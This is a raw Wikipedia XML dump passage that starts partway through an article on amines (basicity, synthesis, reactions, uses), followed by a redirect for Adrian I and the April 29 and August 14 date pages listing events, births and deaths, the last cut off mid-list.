{| class=&quot;toccolours&quot; style=&quot;float: center; border-collapse: collapse; margin: 0em 1em;&quot; border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
! Ions of compound
! K&lt;sub&gt;b&lt;/sub&gt; 
|-
| [[Ammonia]] NH&lt;sub&gt;3&lt;/sub&gt;
| 1.8&amp;middot;10&lt;sup&gt;-5&lt;/sup&gt; M
|-
| [[Aniline]] C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;NH&lt;sub&gt;2&lt;/sub&gt;
| 3.8&amp;middot;10&lt;sup&gt;-10&lt;/sup&gt; M
|-
| [[4-methylphenylamine]] 4-CH&lt;sub&gt;3&lt;/sub&gt;C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;4&lt;/sub&gt;NH&lt;sub&gt;2&lt;/sub&gt;
| 1.2&amp;middot;10&lt;sup&gt;-9&lt;/sup&gt; M
|}
: +M effect of aromatic ring delocalise the lone pair electron into the ring, resulting in decreased bascitiy.

The degree of protonation of protonated amines:

{| class=&quot;toccolours&quot; style=&quot;float: center; border-collapse: collapse; margin: 0em 1em;&quot; border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
! Ions of compound
! Maximum number of H-bond
|-
| NH&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;+&lt;/sup&gt;
| 4 Very Soluble in H&lt;sub&gt;2&lt;/sub&gt;O
|-
| RNH&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;+&lt;/sup&gt;
| 3
|-
| R&lt;sub&gt;2&lt;/sub&gt;NH&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;+&lt;/sup&gt;
| 2
|-
| R&lt;sub&gt;3&lt;/sub&gt;NH&lt;sup&gt;+&lt;/sup&gt;
| 1 Least Soluble in H&lt;sub&gt;2&lt;/sub&gt;O
|}
&lt;!-- the following statement is incorrect or excessively vague: &quot;Protonated ammonia is heavily solvated, making the cation most stable.&quot;--&gt;

== Synthesis ==
The following laboratory methods exist for the preparation of amines:
* via the [[Gabriel synthesis]]:
[[Image:Gabriel Synthesis Scheme.png|500px|center|The Gabriel synthesis]]
* via [[azide]]s by the [[Staudinger reduction]]. 
* [[Allyl]]ic amines can be prepared from [[imine]]s in the [[Aza-Baylis-Hillman reaction]].
* via [[Hofmann rearrangement|Hoffmann degradation]] of amides.This reaction is valid for preparation of primary amines only. Gives good yields of primary amines uncontaminated with other amines.
:[[Image:Hofmann Rearrangement Scheme.png|center|400px|The Hofmann rearrangment]]
* Hoffmann elimination of quaternary ammonium salts
:::R&lt;sub&gt;3&lt;/sub&gt;N&lt;sup&gt;+&lt;/sup&gt;CH&lt;sub&gt;2&lt;sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;R'  +  OH&lt;sup&gt;-&lt;/sup&gt;   &amp;rarr;  R&lt;sub&gt;3&lt;/sub&gt;N  +  H&lt;sub&gt;2&lt;sub&gt;C=CHR'  +  H&lt;sub&gt;2&lt;sub&gt;O
* [[Quaternary ammonium salt]]s upon treatment with strong base undergo the so-called [[Hofmann Elimination]]
* Reduction of nitriles and amides
[[Image:Nitrile.gif|center|Nitriles]]
* [[Nitrile]]s are reduced to amines using hydrogen in the presence a nickel catalyst, although acidic or alkaline conditions should be avoided to avoid hydrolysis of -CN group.
* LiAlH&lt;sub&gt;4&lt;/sub&gt; is more commonly employed for the reduction of nitriles on the laboratory scale.
&lt;center&gt;[[Image:Reduction-of-amide.gif]]&lt;/center&gt;
* Similarly, LiAlH&lt;sub&gt;4&lt;/sub&gt; reduces amides to amines.
* Nucleophilic substitution of haloalkanes. Primary amines can also be synthesized by alkylaton of ammonia.[[halogenoalkane|Haloalkane]]s react with amines to give a corresponding alkyl-substituted amine, with the release of a halogen acid.  Such reactions, which are most useful for alkyl iodides and bromides, are rarely employed because the degree of alkylation is difficult to control. If the reacting amine is tertiary, a [[quaternary ammonium cation]] results. Many [[quaternary ammonium salt]]s can be prepared by this route with diverse R groups and many halide and pseudohalide anions.


[[Image:Alkylation_of_Amine.PNG|center|Amine alkylation]]


[[Image:Formation_of_Quat.PNG|center|Amine alkylation]]


== Reactions ==
Amines react in a variety of ways:
* By [[nucleophilic acyl substitution]]. [[Acyl chloride]]s and [[acid anhydride]]s react with primary and secondary amines in cold to form [[amide]]s. Tertiary amines cannot be acylated due to the absence of a replaceable hydrogen atom. With the much less active [[benzoyl chloride]], [[acylation]] can still be performed by the use of excess aqeous alkali to facilitate the reaction. 

[[Image:Amide_formation_from_amine.gif|center|Amide formation]]

:Because amines are basic, they neutralize [[carboxylic acid]]s to form the corresponding ammonium carboxylate salts. Upon heating to 200&amp;nbsp;&amp;deg;C, the primary and secondary amine salts dehydrate to form the corresponding [[amide]]s.

[[Image:Amine_plus_Carboxylic_Acid.PNG|center|Amine reaction with carboxylic acids]]

* By ammonium salt formation. Amines R&lt;sub&gt;3&lt;/sub&gt;N react with strong acids such as [[hydroiodic acid]], [[hydrobromic acid]] and [[hydrochloric acid]] in neutralization reactions forming [[ammonium salt]]s R&lt;sub&gt;3&lt;/sub&gt;NH&lt;sup&gt;+&lt;/sup&gt;.

* By diazonium salt formation. [[Nitrous acid]] with formula HNO&lt;sub&gt;2&lt;/sub&gt; is unstable, therefore usually a mixture of NaNO&lt;sub&gt;2&lt;/sub&gt; and dilute [[hydrochloric acid]] or [[sulfuric acid]] is used to produce nitrous acid indirectly. Primary aliphatic amines with nitrous acid give very unstable diazonium salts which spontaneously decompose by losing N&lt;sub&gt;2&lt;/sub&gt; to form carbonium ion. The carbonium ion goes on to produce a mixture of alkenes, alkanols or alkyl halides, with alkanols as the major product. This reaction is of lttle synthetic importance because the diazonium salt formed is too unstable, even at cold conditions.
: NaNO&lt;sub&gt;2&lt;/sub&gt; + HCl &amp;rarr; HNO&lt;sub&gt;2&lt;/sub&gt; + NaCl

[[Image:Nitrous_acid_with_n-amine.gif|center|Nitrous acid reaction]]

:Primary aromatic amines, such as [[aniline]] (phenylamine) forms a more stable [[diazonium]] ion at 0&amp;ndash;5&amp;nbsp;&amp;deg;C. Above 5&amp;nbsp;&amp;deg;C, it will decompose to give [[phenol]] and N&lt;sub&gt;2&lt;/sub&gt;. Diazonium salt can be isolated in the crystalline form but are usually used in solution and immediately after preparation, due to rapid decomposition on standing even in cold. Solid salt explosive on shock or on mild warming.

[[Image:Aromatic_diazonium_salt.gif|center|Aromatic diazonium salts]]

* By [[Alkylimino-de-oxo-bisubstitution|imine formation]]. Primary amines react with [[ketone]]s and [[aldehyde]]s to form [[imine]]s. In the case of [[formaldehyde]] (R' = H), these products are typically cyclic [[trimer]]s.

: RNH&lt;sub&gt;2&lt;/sub&gt; + R'&lt;sub&gt;2&lt;/sub&gt;C=O &amp;rarr; R'&lt;sub&gt;2&lt;/sub&gt;C=NR + H&lt;sub&gt;2&lt;/sub&gt;O

:Secondary amines react with ketones and aldehydes to form [[enamine]]s
: R&lt;sub&gt;2&lt;/sub&gt;NH + R'(R&quot;CH&lt;sub&gt;2&lt;sub&gt;)C=O &amp;rarr; R&quot;CH=C(NR&lt;sub&gt;2&lt;/sub&gt;)R' + H&lt;sub&gt;2&lt;/sub&gt;O
* By [[organic oxidation|oxidation]] to [[nitroso]] compounds, for instance [[Peroxymonosulfuric acid]].
== Use of amines==
=== dyes ===
Primary aromatic amines are used as a starting material for the manufacture of [[azo dye]]s. It reacts with nitric(III) acid to form diazonium salt which can undergo coupling reaction to form azo compound.As azo-compounds are highly coloured, they are widely used in dyeing industries, such as:
* [[Methyl orange]]
* [[Direct brown 138]]
* [[Sunset yellow]] FCF
* [[Ponceau]]

===drugs===
* [[Chlorpheniramine]] is an antihistamine the helps to relief allergic disorders due to cold, hay fever, itchy skin, insect bites and stings.
* [[Chlorpromazine]] is a tranquilliser that sedates without inducing sleep. It is used to relieve anxiety, excitement, restlessness or even mental disorder.
* [[Acetaminophen]]  is also known as paracetamol or p-acetaminophenol, an analgesic that relieves pains such as headaches. It is believed to be less corrosive to the stomach and is an alternative to aspirin.

== See also ==    
* [[IUPAC nomenclature]] for the official naming rules for amines.

[[Category:Amines]]


[[ar:أمين]]
[[cs:Amin]]
[[de:Amine]]
[[es:Amina]]
[[fr:Amine (chimie)]]
[[he:אמין (כימיה)]]
[[nl:Amine]]
[[ja:アミン]]
[[lv:Amīni]]
[[pl:Amina]]
[[pt:Amina]]
[[ru:Амины]]
[[fi:Amiini]]
[[sv:Amin]]
[[vi:Amin]]
[[zh:胺类]]</text>
    </revision>
  </page>
  <page>
    <title>Adrian I</title>
    <id>1415</id>
    <revision>
      <id>15899899</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Pope Adrian I]]
</text>
    </revision>
  </page>
  <page>
    <title>April 29</title>
    <id>1416</id>
    <revision>
      <id>42163647</id>
      <timestamp>2006-03-04T06:08:07Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>rv non-noteable - and please don't kick my a**</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=29}}
|}
'''[[April 29]]''' is the 119th day of the year in the [[Gregorian calendar]] (120th in [[leap year]]s). There are 246 days remaining. 
==Events==
*[[1672]] - [[Franco-Dutch War]]: [[Louis XIV of France]] invades the [[Netherlands]]. 
*[[1770]] - [[James Cook]] arrives at and names [[Botany Bay]], [[Australia]].
*[[1854]] - The [[Ashmun Institute]] is officially chartered, becoming the first college for [[African American]] students.
*[[1861]] - [[American Civil War]]: [[Maryland]]'s House of Delegates votes not to secede from the [[United States|Union]]
*[[1862]] - American Civil War: [[New Orleans, Louisiana|New Orleans]] falls to [[United States|Union]] forces under Admiral [[David Farragut]].
*[[1895]] - Sir [[Malcolm Sargent]] (29 April [[1895]] – [[3 October]] [[1967]]) was a British conductor, organist and composer, born in [[Ashford]], [[Kent]], [[United Kingdom]].
*[[1903]] - A 30 million cubic-metre landslide kills 70 in [[Frank, Alberta]], [[Canada]].
*[[1910]] - [[Andrew Fisher]] becomes [[Prime Minister of Australia]] for the second time.
*[[1916]] - [[Easter Rebellion]]: [[Martial law]] in [[Ireland]] is lifted and the rebellion is officially over with the surrender of Irish nationalists to British authorities in [[Dublin]]. 
*[[1944]] - &quot;[[Dancing Romeo]],&quot; the last [[Our Gang]] film, premiers.  
*[[1945]] - [[World War II]]: The [[Germany|German]] Army in [[Italy]] unconditionally surrenders to the [[Allies]]. 
*1945 - World War II: Start of [[Operation Manna]].
*1945 - [[Adolf Hitler]] marries his long-time partner [[Eva Braun]] in a [[Berlin]] bunker and  designates Admiral [[Karl Dönitz]] as his successor. 
*1945 - [[Holocaust]]: The [[Dachau concentration camp]] is liberated by [[United States]] troops. 
*[[1946]] - Former [[Prime Minister of Japan]] [[Hideki Tojo]] and 28 former [[Japan]]ese leaders are indicted for [[war crime]]s.
*[[1967]] - After refusing induction into the [[United States Army]] the day before (citing religious reasons), [[Muhammad Ali]] is stripped of his [[boxing]] title. 
*[[1969]] - [[Jazz]] musician [[Duke Ellington]] receives the [[Presidential Medal of Freedom]]. 
*[[1970]] - [[Vietnam War]]: [[United States]] and [[South Vietnam]]ese forces invade [[Cambodia]] to hunt [[Viet Cong]].
*[[1974]] - [[Watergate Scandal]]: President [[Richard Nixon]] announces the release of edited transcripts of [[White House]] tape recordings related to the scandal. 
*[[1975]] - [[Vietnam War]]: [[Operation Frequent Wind]] &amp;ndash; The last [[United States|U.S.]] citizens begin evacuation from [[Saigon]] prior to an expected [[North Vietnam]]ese takeover.  United States involvement in the war comes to an end.
*[[1992]] - [[1992 Los Angeles riots]]: [[Riot]]s in [[Los Angeles, California]], follow the acquittal of [[police officer]]s charged with excessive force in the beating of [[Rodney King]]. Over the next three days 54 people are killed and hundreds of buildings are destroyed.
*[[1997]] - The [[Chemical Weapons Convention]] of [[1993]] enters into force, outlaws the production, stockpiling and use of [[chemical weapon]]s among its signatories.
*[[2002]] - The [[United States]] is re-elected to the [[United Nations Commission on Human Rights]], one  year after losing the seat it had held for 50 years.
*[[2004]] - [[Richard Cheney]] and [[George W. Bush]] testify before the [[9/11 Commission]] in a closed, unrecorded hearing in the [[Oval Office]].
*[[2004]] - Last [[Oldsmobile]] produced
*[[2005]] - [[Apple Computer]] releases Mac OS X v10.4 Tiger to the public.

==Births==
*[[1665]] - [[James Butler, 2nd Duke of Ormonde]], Irish statesman and soldier (d. [[1745]])
*[[1667]] - [[John Arbuthnot]], English physician and satirist (d. [[1735]])
*[[1686]] - [[Peregrine Bertie, 2nd Duke of Ancaster and Kesteven]], English statesman (d. [[1742]])
*[[1727]] - [[Jean-Georges Noverre]], French dancer and ballet master (d. [[1810]])
*[[1762]] - [[Jean-Baptiste Jourdan]], French marshal (d. [[1833]])
*[[1780]] - [[Charles Nodier]], French writer  (d. [[1844]])
*[[1837]] - [[Georges Boulanger]], French general and politician (d. [[1891]])
*[[1854]] - [[Henri Poincaré]], French mathematician and physicist (d. [[1912]])
*[[1863]] - [[William Randolph Hearst]], American publisher (d. [[1951]])
*[[1876]] - Empress [[Zauditu of Ethiopia]] (d. [[1930]])
*[[1879]] - Sir [[Thomas Beecham]], English conductor (d. [[1961]])
*[[1882]] - [[H.N. Werkman]], Dutch artist and printer (d. [[1945]])
*[[1885]] - [[Egon Erwin Kisch]], Czech journalist and author (d. [[1948]])
*[[1893]] - [[Harold Urey]], American chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1981]])
*[[1895]] - [[Malcolm Sargent]], English conductor (d. [[1967]])
*[[1899]] - [[Duke Ellington]], American jazz pianist and bandleader (d. [[1974]])
*[[1901]] - [[Hirohito]], [[Emperor of Japan]] (d. [[1989]])
*[[1907]] - [[Fred Zinnemann]], Austrian-born American film director (d. [[1997]])
*[[1909]] - [[Tom Ewell]], American actor (d. [[1994]])
*[[1917]] - [[Celeste Holm]], American actress
*[[1918]] - [[George Allen (football)|George Allen]], American football player and coach (d. [[1990]])
*[[1920]] - [[Harold Shapero]], American composer
*[[1925]] - [[Ned Austin]], American character actor
*[[1929]] - [[Walter Kempowski]], German author
*1929 - [[Peter Sculthorpe]], Australian composer
*[[1930]] - [[Jean Rochefort]], French actor
*[[1931]] - [[Frank Auerbach]], German-born British painter
*1931 - [[Lonnie Donegan]], Scottish musician (d. [[2002]])
*[[1933]] - [[Mark Eyskens]], [[Prime Minister of Belgium]]
*1933 - [[Rod McKuen]], American poet and composer
*[[1934]] - [[Luis Aparicio]], Venezuelan [[Major League Baseball]] player
*1934 - [[Otis Rush]], American musician
*[[1936]] - [[Zubin Mehta]], Indian-born American conductor
*[[1937]] - [[Jill Paton Walsh]], English writer
*[[1938]] - [[Fred Dibnah]], English television personality (d.[[2004]])
*[[1942]] - [[Klaus Voormann]], German illustrator and musician
*1942 - [[Galina Kulakova]], Soviet cross country skier
*[[1944]] - [[Richard Kline]], American actor and television director
*[[1945]] - [[Tammi Terrell]], American singer (d. [[1970]])
*[[1946]] - [[John Waters (filmmaker)|John Waters]], American film director and writer
*[[1947]] - [[Olavo de Carvalho]], Brazilian philosopher
*1947 - [[Tommy James]], American musician
*1947 - [[Jim Ryun]], American athlete and politician
*[[1951]] - [[Dale Earnhardt]], American race car driver (d. [[2001]])
*[[1952]] - [[Nora Dunn]], American actress
*1952 - [[David Icke]], British writer
*[[1954]] - [[Jerry Seinfeld]], American comedian
*[[1955]] - [[Kate Mulgrew]], American actress
*[[1956]] - [[Ketil Stokkan]], Norwegian singer
*[[1957]] - [[Daniel Day-Lewis]], Irish actor
*[[1958]] - [[Michelle Pfeiffer]], American actress
*1958 - [[Eve Plumb]], American actress
*[[1960]] - [[Robert J. Sawyer]], Canadian writer
*1960 - [[Phil King]], English bassist 
*[[1964]] - [[Federico Castelluccio]], Italian-American actor
*[[1966]] - [[Phil Tufnell]], English cricketer
*[[1967]] - [[Curtis Joseph]], Canadian hockey player
*1967 - [[Master P]], American rapper, composer, actor, athlete, and sports agent
*[[1968]] - [[Carnie Wilson]], American singer
*[[1970]] - [[Andre Agassi]], American tennis player
*1970 - [[Uma Thurman]], American actress
*[[1974]] - [[Pascal Cygan]], French footballer
*[[1975]] - [[Eric Koston]], Thai-born skateboarder
*[[1977]] - [[Claus Jensen]], Danish footballer
*[[1980]] - [[Kian Egan]], Irish musician ([[Westlife]])
*[[1981]] - [[George McCartney]], Northern Irish footballer

==Deaths==
*[[1380]] - [[Catherine of Siena]], Italian saint (b. [[1347]])
*[[1594]] - [[Thomas Cooper (bishop)|Thomas Cooper]], English bishop, lexicographer, and writer
*[[1630]] - [[Agrippa d'Aubigné]], French poet (b. [[1552]])
*[[1658]] - [[John Cleveland]], English poet (b. [[1613]])
*[[1676]] - [[Michiel de Ruyter]], Dutch admiral (b. [[1607]])
*[[1688]] - [[Frederick William, Elector of Brandenburg]] (b. [[1620]])
*[[1698]] - [[Charles Cornwallis, 3rd Baron Cornwallis]], First Lord of the British Admiralty (b. [[1655]])
*[[1707]] - [[George Farquhar]], Irish dramatist (b. [[1678]])
*[[1743]] - [[Charles-Irénée Castel de Saint-Pierre]], French writer (b. [[1658]])
*[[1768]] - [[Georg Brandt]], Swedish chemist and minerologist (b. [[1694]])
*[[1776]] - [[Edward Wortley Montagu]], English traveler and writer (b. [[1713]])
*[[1793]] - [[Yechezkel Landau]], Polish rabbi and Talmudist (b. [[1713]])
*1793 - [[John Michell]], English scientist (b. [[1724]])
*[[1798]] - [[Nikolaus Poda von Neuhaus]], German entomologist (b. [[1723]])
*[[1854]] - [[Henry Paget, 1st Marquess of Anglesey]], English general (b. [[1768]])
*[[1933]] - [[Constantine P. Cavafy]], Greek poet (b. [[1863]])
*[[1937]] - [[William Gillette]], American actor (b. [[1853]])
*[[1944]] - [[Bernardino Machado]], [[President of Portugal]] (b. [[1851]])
*[[1951]] - [[Ludwig Wittgenstein]], Austrian-born philosopher (b. [[1889]])
*[[1966]] - [[William Eccles]], English physicist and radio pioneer (b. [[1875]])
*[[1980]] - [[Alfred Hitchcock]], English film director (b. [[1899]])
*[[1988]] - [[James McCracken]], American tenor (b. [[1926]])
*[[1993]] - [[Mick Ronson]], British musician (b. [[1946]])
*[[1997]] - [[Mike Royko]], American columnist (b. [[1932]])
*[[2005]] - [[William J. Bell]], television writer and producer (b. [[1927]])

==Holidays and observances==
*[[Catholicism|Roman Catholic]] [[feast days]]: 
**[[Saint Catherine of Siena]]
**[[Saint Robert]]
**[[Wilfred the Younger]]
**[[Peter of Verona]]
**[[Hugh of Cluny]]
*[[International Dance Day]]
*[[Japan]] (public holiday since 1927, traditionally the start of the [[Golden Week]] holiday period.)
**[[The Emperor's Birthday]] (1927-1988. Holiday of  [[Emperor of Japan|Emperor]] [[Hirohito]]'s birthday until his death in [[1989]])
**[[Greenery Day]] (1989-2006)
**[[Shōwa Day]] (2007- . Day of [[Showa_period]], which is reigned by Empelor Hirohito) 
*[[Roman Empire]] - second day of the [[Floralia]] in honor of [[Chloris|Flora]]
*[[Bahá'í Faith]] - The ninth day of the Festival of [[Ridván]]

==Other==
&quot;April 29th 1992 (Miami)&quot; is the title of a song by [[Sublime (band)|Sublime]] on their [[Sublime (album)|self-titled album]].

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/29 BBC: On This Day]
* [http://www.tnl.net/when/4/29 Today in History: April 29]

----

[[April 28]] - [[April 30]] - [[March 29]] - [[May 29]] &amp;ndash; [[historical anniversaries|listing of all days]]

{{months}}

[[ceb:Abril 29]]
[[nap:29 'e abbrile]]
[[war:Abril 29]]
[[pam:Abril 29]]

[[af:29 April]]
[[ar:29 أبريل]]
[[an:29 d'abril]]
[[ast:29 d'abril]]
[[bg:29 април]]
[[be:29 красавіка]]
[[bs:29. april]]
[[ca:29 d'abril]]
[[cv:Ака, 29]]
[[co:29 d'aprile]]
[[cs:29. duben]]
[[cy:29 Ebrill]]
[[da:29. april]]
[[de:29. April]]
[[et:29. aprill]]
[[el:29 Απριλίου]]
[[es:29 de abril]]
[[eo:29-a de aprilo]]
[[eu:Apirilaren 29]]
[[fo:29. apríl]]
[[fr:29 avril]]
[[fy:29 april]]
[[ga:29 Aibreán]]
[[gl:29 de abril]]
[[ko:4월 29일]]
[[hr:29. travnja]]
[[io:29 di aprilo]]
[[id:29 April]]
[[ia:29 de april]]
[[ie:29 april]]
[[is:29. apríl]]
[[it:29 aprile]]
[[he:29 באפריל]]
[[jv:29 April]]
[[ka:29 აპრილი]]
[[csb:29 łżëkwiôta]]
[[ku:29'ê avrêlê]]
[[lt:Balandžio 29]]
[[lb:29. Abrëll]]
[[li:29 april]]
[[hu:Április 29]]
[[mk:29 април]]
[[ms:29 April]]
[[nl:29 april]]
[[ja:4月29日]]
[[no:29. april]]
[[nn:29. april]]
[[oc:29 d'abril]]
[[pl:29 kwietnia]]
[[pt:29 de Abril]]
[[ro:29 aprilie]]
[[ru:29 апреля]]
[[sco:29 Aprile]]
[[sq:29 Prill]]
[[scn:29 di aprili]]
[[simple:April 29]]
[[sk:29. apríl]]
[[sl:29. april]]
[[sr:29. април]]
[[fi:29. huhtikuuta]]
[[sv:29 april]]
[[tl:Abril 29]]
[[tt:29. Äpril]]
[[te:ఏప్రిల్ 29]]
[[th:29 เมษายน]]
[[vi:29 tháng 4]]
[[tr:29 Nisan]]
[[uk:29 квітня]]
[[ur:29 اپریل]]
[[wa:29 d' avri]]
[[zh:4月29日]]</text>
    </revision>
  </page>
  <page>
    <title>August 14</title>
    <id>1417</id>
    <revision>
      <id>41966608</id>
      <timestamp>2006-03-02T22:57:34Z</timestamp>
      <contributor>
        <ip>69.138.229.246</ip>
      </contributor>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=14}}
|}
'''[[August 14]]''' is the 226th day of the year in the [[Gregorian Calendar]] (227th in [[leap year]]s), with 139 days remaining.

==Events==
*[[1040]] - King [[Duncan I of Scotland]] is killed in battle against his cousin and successor [[Macbeth of Scotland|Macbeth]].
*[[1183]] - [[Taira no Munemori]] and the [[Taira]] clan take the young [[Emperor Antoku]] and the [[Imperial Regalia of Japan|three sacred treasures]] and flee to western Japan to escape pursuit by the [[Minamoto]] clan. (Traditional [[Japanese calendar|Japanese date]]: Twenty-fifth Day of the Seventh Month of the Second Year of Juei).
*[[1385]] - [[1383-1385 Crisis]]: [[Castilia]]ns are defeated by [[Portugal|Portuguese]] at the [[Battle of Aljubarrota]].
*[[1598]] - [[Ireland|Irish]] under [[Hugh O'Neill]], Earl of [[Tyrone]], destroy [[England|English]] force at the [[Battle of the Yellow Ford]].
*[[1842]] - [[Indian Wars]]: [[Seminole Wars|Second Seminole War]] ends, with the [[Seminole (tribe)|Seminoles]] forced from [[Florida]] to [[Oklahoma]].
*[[1846]] - The Cape &amp;#65279;Girardeau meteorite, a 2.3 [[kilogram|kg]] chondrite-type [[meteorite]] strikes near the town of [[Cape Girardeau, Missouri|Cape Girardeau]] in [[Cape Girardeau County, Missouri]].
*[[1848]] - [[Oregon Territory]] organized by Act of [[Congress of the United States|U.S. Congress]].
*[[1880]] - [[Cologne Cathedral]], the most famous landmark in [[Cologne]], [[Germany]], completed.
*[[1885]] - [[Japan|Japan's]] first [[patent]] is issued to the inventor of a rust-proof paint.
*[[1893]] - France introduces motor vehicle registration.
*[[1900]] - A joint [[Europe]]an-[[Japan|Japanese]]-[[United States]] force occupies [[Beijing]], in campaign to end the [[Boxer Rebellion]] in [[China]].
*[[1901]] - The first claimed [[aviation|powered flight]], by [[Gustave Whitehead]] in his [[Number 21 (plane)|Number 21]]. 
*[[1908]] - First [[beauty contest]] held in [[Folkestone]], England
*[[1911]] - [[United States Senate]] leaders [[Presidents pro tempore of the United States Senate, 1911-1913|agree to rotate the office]] of [[President pro tempore of the United States Senate|Presdent pro tempore of the Senate]] among leading candidates to fill the vacancy left by [[William P. Frye]]'s death.
*[[1912]] - [[United States]] [[U.S. Marines|Marines]] invade [[Nicaragua]] to support the U.S.-backed government installed there after [[José Santos Zelaya]] resigned three years earlier.
*[[1921]] - [[Tannu Tuva]],later [[Tuvinian People's Republic]] is established as a completely independent country (which is supported by Russia).
*[[1933]] - Loggers cause a [[forest fire]] in the [[Coast Range]] of [[Oregon]], later known as the first forest fire of the [[Tillamook Burn]]. It is extinguished on September 5, after destroying [[1 E8 m²|240,000 acres (970 km&amp;sup2;)]].
*[[1936]] - [[Rainey Bethea]] is hanged in [[Owensboro, Kentucky]] in the last public [[capital punishment in the United States|execution in the United States]].
*[[1935]] - [[United States]] [[Social Security (United States)|Social Security]] Act passes, creating a government pension system for the retired.
*[[1941]] - [[World War II]] - [[Winston Churchill]] and [[Franklin D. Roosevelt]] sign the [[Atlantic Charter]] of war stating postwar aims.
*[[1945]] - [[Japan]] accepts the Allied [[Japanese Instrument of Surrender|terms of surrender]] in [[World War II]] and the [[Emperor of Japan|Emperor]] records the [[Gyokuon-hoso|Imperial Rescript on Surrender]] ([[August 15]] in [[Japan standard time]]).
*[[1947]] - [[Pakistan]] gains independence from the [[United Kingdom]].
*[[1967]] - [[United Kingdom|UK]] [[Marine Broadcasting Offences Act]] declares participation in offshore [[pirate radio]] illegal.  
*[[1969]] - [[United Kingdom]] troops deploy in [[Northern Ireland]]. 
*[[1971]] - [[Bahrain]] declares its independence from [[United Kingdom]]. 
*[[1972]] - An [[East Germany|East German]] [[Ilyushin Il-62]] crashes during takeoff from [[East Berlin]], killing 156.
*[[1976]] - The [[Senegal]]ese [[political party]] ''[[African Independence Party-Renewal|PAI-Rénovation]]'' is legally recognized. PAI-Rénovation thus becomes the third legal party in the country.
*[[1980]] - [[Lech Wałęsa]] leads strikes at [[Gdańsk]], [[Poland]] shipyards.
*[[1994]] - [[Ilich Ramírez Sánchez]], the [[terrorism|terrorist]] known as &quot;Carlos the Jackal&quot;, is captured.
*[[2003]] - [[2003 North America blackout|Widescale power blackout]] in the northeast [[United States]] and [[Canada]].
*[[2004]] - [[Sales tax]] holiday in [[Massachusetts]]. All sales taxes are suspended on purchases of $2500 or less.
*[[2005]] - [[Helios Airways Flight 522]] crashes north of Athens, killing the 121 on board.

==Births==
*[[1297]] - [[Emperor Hanazono]], [[Emperor of Japan]] (d. [[1348]])
*[[1473]] - [[Margaret Pole, 8th Countess of Salisbury]], daughter of [[George, Duke of Clarence]] (d. [[1541]])
*[[1575]] - [[Robert Hayman]], English-born poet (d. [[1629]])
*[[1586]] - [[William Hutchinson]], Rhode Island colonist (d. [[1642]])
*[[1599]] - [[Méric Casaubon]], English classical scholar (d. [[1671]])
*[[1625]] - [[François de Harlay de Champvallon]], Archbishop of Paris (d. [[1695]])
*[[1642]] - [[Cosimo III de' Medici, Grand Duke of Tuscany]] (d. [[1723]])
*[[1653]] - [[Christopher Monck, 2nd Duke of Albemarle]], English statesman (d. [[1688]])
*[[1688]] - [[Frederick William I of Prussia]] (d. [[1740]])
*[[1714]] - [[Claude Joseph Vernet]], French painter (d. [[1789]])
*[[1740]] - [[Pope Pius VII]] (d. [[1823]])
*[[1771]] - [[Sir Walter Scott]], Scottish historical novelist and poet (d. [[1832]])
*[[1777]] - King [[Francis I of the Two Sicilies]] (d. [[1830]])
*1777 - [[Hans Christian Ørsted]], Danish physicist (d. [[1851]])
*[[1840]] - [[Richard von Krafft-Ebing]], German psychologist (d. [[1902]])
*[[1851]] - [[Doc Holliday]], American gambler and gunfighter (d. [[1887]])
*[[1861]] - [[Herbert Putnam]], [[Librarian of Congress]] (d. [[1955]])
*[[1863]] - [[Ernest Thayer]], American poet (d. [[1940]])
*[[1865]] - [[Guido Castelnuovo]], Italian mathematician (d. [[1952]])
*[[1866]] - [[Charles Jean de la Vallée-Poussin]], Belgian mathematician (d. [[1962]])
*[[1867]] - [[John Galsworthy]], English writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (d. [[1933]])
*[[1876]] - [[Aleksandar Obrenović]], [[monarch|King]] of [[Serbia]]
*[[1881]] - [[Francis Ford (actor)]], American actor
*[[1882]] - [[Gisela Richter]], English art historian (d. [[1972]])
*[[1910]] - [[Pierre Schaeffer]], French composer (d. [[1955]])
*[[1911]] - [[Vethathiri|Shri Vethathiri Maharishi]], Indian yogi
*[[1916]] - [[Wellington Mara]], Co-Owner of the New York Football Giants
*[[1925]] - [[Russell Baker]], American columnist
*[[1926]] - [[René Goscinny]], French comic-strip author (d. [[1977]])
*1926 - [[Lina Wertmüller]], Italian film director
*[[1930]] - [[Earl Weaver]], baseball manager
*[[1933]] - [[Richard R. Ernst]], Swiss chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate
*[[1935]] - [[John Brodie]], American football player
*[[1940]] - [[Dash Crofts]], American musician ([[Seals and Crofts]])
*[[1941]] - [[David Crosby]], American guitarist and songwriter
*[[1943]] - [[Jimmy Johnson (football coach)|Jimmy Johnson]], American football player and broadcaster
*[[1945]] - [[Steve Martin]], American comedian and actor
*1945 - [[Wim Wenders]], German-born film director
*[[1946]] - [[Antonio Fargas]], American actor
*1946 - [[Susan Saint James]], American actress
*[[1947]] - [[Danielle Steel]], American novelist
*[[1950]] - [[Bob Backlund]], American professional wrestler
*1950 - [[Gary Larson]], American cartoonist
*[[1952]] - [[Carl Lumbly]], American actor
*1952 - [[Debbie Meyer]], American swimmer
*[[1953]] - [[James Horner]], American composer
*1953 - [[Cliff Johnson]], computer game author
*[[1954]] - [[Mark Fidrych]], baseball player
